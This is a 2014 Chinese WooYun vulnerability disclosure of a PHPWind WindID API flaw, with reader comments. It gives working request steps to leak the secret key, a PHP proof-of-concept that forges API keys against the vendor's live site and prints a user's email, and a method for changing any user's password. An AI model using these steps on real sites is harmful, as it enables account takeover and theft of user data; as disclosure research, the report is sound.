当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072727

漏洞标题:一个PHPWIND可拿shell的高危漏洞

相关厂商:phpwind

漏洞作者: Map

提交时间:2014-08-17 07:13

修复时间:2014-11-15 07:14

公开时间:2014-11-15 07:14

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-17: 细节已通知厂商并且等待厂商处理中
2014-08-19: 厂商已经确认,细节仅向厂商公开
2014-08-22: 细节向第三方安全合作伙伴开放
2014-10-13: 细节向核心白帽子及相关领域专家公开
2014-10-23: 细节向普通白帽子公开
2014-11-02: 细节向实习白帽子公开
2014-11-15: 细节向公众公开

简要描述:

如题。

详细说明:

没想到PHPWIND犯了一个和PHPCMS一样的漏洞。
在src/applications/windidserver/api/controller/AppController.php内代码:

public function listAction() {
$result = $this->_getAppDs()->getList();
$this->output($result);
}


如何获取可以访问接口的key?
查看用户上传头像页面就可以知道了:
/phpwind/src/windid/service/user/srv/WindidUserService.php
内的代码:

$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash'), array('uid'=>'undefined'));
……


去头像页面查看一下源文件
http://localhost/phpwind/index.php?m=profile&c=avatar&_left=avatar

phpwind.jpg


解出urldecode得:
http://localhost/phpwind/windid/index.php?m=api&c=avatar&a=doAvatar&uid=1&windidkey=f5b35f56c88695b9069e18ecaafad874&time=1408197299&clientid=1&type=flash&avatar=http://localhost/phpwind/windid/attachment/avatar/000/00/00/1.jpg?r=88418
去掉
&avatar=http://localhost/phpwind/windid/attachment/avatar/000/00/00/1.jpg?r=88418
然后记得,还需要POST一个uid等于undefined
把doAvatar换成list,avatar换成app得:
http://localhost/phpwind/windid/index.php?m=api&c=app&a=list&uid=1&windidkey=f5b35f56c88695b9069e18ecaafad874&time=1408197299&clientid=1&type=flash
POST:uid=undefined
得:
{"1":{"id":"1","name":"phpwind9.0","siteurl":"http:\/\/localhost\/phpwind","siteip":"","secretkey":"73e3dcdd733c7c3733c17273a624e162","apifile":"windid.php","charset":"gbk","issyn":"1","isnotify":"1"}}

wind2.jpg


拿到这个key,我可以做的事情太多了,用户体系内的所有事情我都可以做了。

漏洞证明:

wind2.jpg


拿到这个key,我可以做的事情太多了,用户体系内的所有事情我都可以做了。
在官网测试了一下,拿到key后测试一下读取一个用户的资料:

<?php
$secretkey = '308c6c43a*****279dd61dd80e8d59bd';
$c = 'user';
$a = 'get';
$data = array('uid'=>'658925');
$time = time();
$key = appKey('1', time(), $secretkey, array('userid'=>658925), $data);
echo post('http://www.phpwind.net/windid/index.php?m=api&c='.$c.'&a='.$a.'&windidkey='.$key.'&time='.$time .'&clientid=1&userid=658925',$data);
function post($uri,$data) {
$ch = curl_init ();
curl_setopt ( $ch, CURLOPT_URL, $uri );
curl_setopt ( $ch, CURLOPT_POST, 1 );
curl_setopt ( $ch, CURLOPT_HEADER, 0 );
curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
curl_setopt ( $ch, CURLOPT_POSTFIELDS, $data );
$return = curl_exec ( $ch );
curl_close ( $ch );
return $return;
}
function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array('m', 'c', 'a', 'windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token');
$str = '';
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.'||'.$secretkey).$time.$str);

}
?>


phpwind.jpg


{"uid":"658925","username":"phpwind","email":"fengyu@phpwind.net","safecv":"5b4111de","regdate":"1143101940","regip":""}
在User的api内还有一个edit的接口,可以修改任意用户的密码,调用它,不填写old_password,将可以修改任意用户的密码,不会验证原密码的。

修复方案:

不要轻信key,可以将m,a,c都加入key的运算。

版权声明:转载请注明来源 Map@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-08-19 17:03

厂商回复:

亲,感谢您的关注和支持,该漏洞我们正在修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-08-17 11:32 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    这么安静。

  2. 2014-08-17 11:44 | 猪猪侠 认证白帽子 ( 核心白帽子 | Rank:3224 漏洞数:254 | 你都有那么多超级棒棒糖了,还要自由干吗?)

    看标题,不明觉厉啊。

  3. 2014-08-17 11:51 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    @猪猪侠 标题被改了。

  4. 2014-08-17 14:09 | blue 认证白帽子 ( 普通白帽子 | Rank:779 漏洞数:70 | 我心中有猛虎,细嗅蔷薇。)

    楼主厉害的不成样子,必须是身高八尺,胸围也是八尺的真汉子

  5. 2014-08-17 16:18 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    @blue 蓝哥……

  6. 2014-08-18 10:25 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    好久不见phpwind了

  7. 2014-08-18 15:04 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    @疯狗 狗哥,下午有了点时间我刚更新了一下这个漏洞的信息方便厂家修复,你能帮忙通过审核一下么。

  8. 2014-08-19 17:10 | 小胖子 认证白帽子 ( 核心白帽子 | Rank:1727 漏洞数:140 | 如果大海能够带走我的矮丑...)

    我操,前排都抢不到了

  9. 2014-08-19 17:18 | Map ( 普通白帽子 | Rank:154 漏洞数:10 | 闭关几个星期,学点东西。)

    好在漏洞到了时间是会对外公开的,这是一个我挺喜欢的漏洞。

  10. 2014-08-19 17:25 | adm1n ( 普通白帽子 | Rank:216 漏洞数:66 | 只是一个渣渣而已。。。)

    膜拜洞主

  11. 2014-08-19 17:27 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @Map 敢问洞主师从何处

  12. 2014-08-19 18:03 | 小九 ( 路人 | Rank:16 漏洞数:5 | 非尖刀小九,民间草根)

    一堆小电影网站要倒霉了

  13. 2014-08-19 18:09 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    又是1w的节奏啊

  14. 2014-08-19 18:43 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    哎,走了XX流程,前台都看不到,悲剧!@xsser

  15. 2014-08-19 19:00 | Noxxx ( 普通白帽子 | Rank:509 漏洞数:41 )

    留个名

  16. 2014-08-19 21:12 | Azui ( 路人 | Rank:25 漏洞数:10 | 用一只黑色铅笔画一出舞台默剧。)

    不明觉厉

  17. 2014-08-21 14:34 | 铁汉 ( 路人 | Rank:12 漏洞数:6 | 向各种大神学习之)

    坐等此洞放出,又死一片

  18. 2014-08-21 17:47 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @Map 发现洞主喜欢挑战一些高难度的建站程序,期待下次你发个帝国cms的高危漏洞

  19. 2014-08-22 17:57 | 大大灰狼 ( 普通白帽子 | Rank:248 漏洞数:53 | Newbie)

    @猪猪侠 你是传说中的猪猪侠吗?

  20. 2014-08-22 21:35 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @贫道来自河北 挑衅

  21. 2014-08-22 21:57 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @xsser 俺就是想知道帝国cms到底有漏洞没

  22. 2014-08-24 23:12 | 李白 ( 普通白帽子 | Rank:142 漏洞数:29 )

    @贫道来自河北 挑衅

  23. 2014-08-24 23:31 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @李白 诗仙 你特马得把我吓哭了

  24. 2014-08-24 23:33 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    @贫道来自河北 @李白 两位道友好

  25. 2014-08-25 00:13 | 贫道来自河北 ( 普通白帽子 | Rank:1395 漏洞数:423 | 一个立志要把乌云集市变成零食店的男人)

    @roker 大牛好久,是不是最近有大动作啊

  26. 2014-08-27 10:10 | D_in ( 普通白帽子 | Rank:413 漏洞数:62 | 到我嘴里来)

    必须关注啊

  27. 2014-09-20 13:18 | 风花雪月 ( 实习白帽子 | Rank:55 漏洞数:44 | []+[]|[]-[][][][][]%[][]|[]\[]%[][]|[]\[...)

    火拉拉 我看不到啊!!

  28. 2014-11-15 10:09 | 闭关修炼 ( 路人 | Rank:19 漏洞数:11 | 学习黑客技术是一种信仰。只有不断的突破。...)

    支持一下,

  29. 2015-03-04 13:25 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    真屌。。。。。

  30. 2015-04-02 19:36 | 1c3z ( 实习白帽子 | Rank:88 漏洞数:29 | 我读书少,你可别骗我!!!)

    简直溜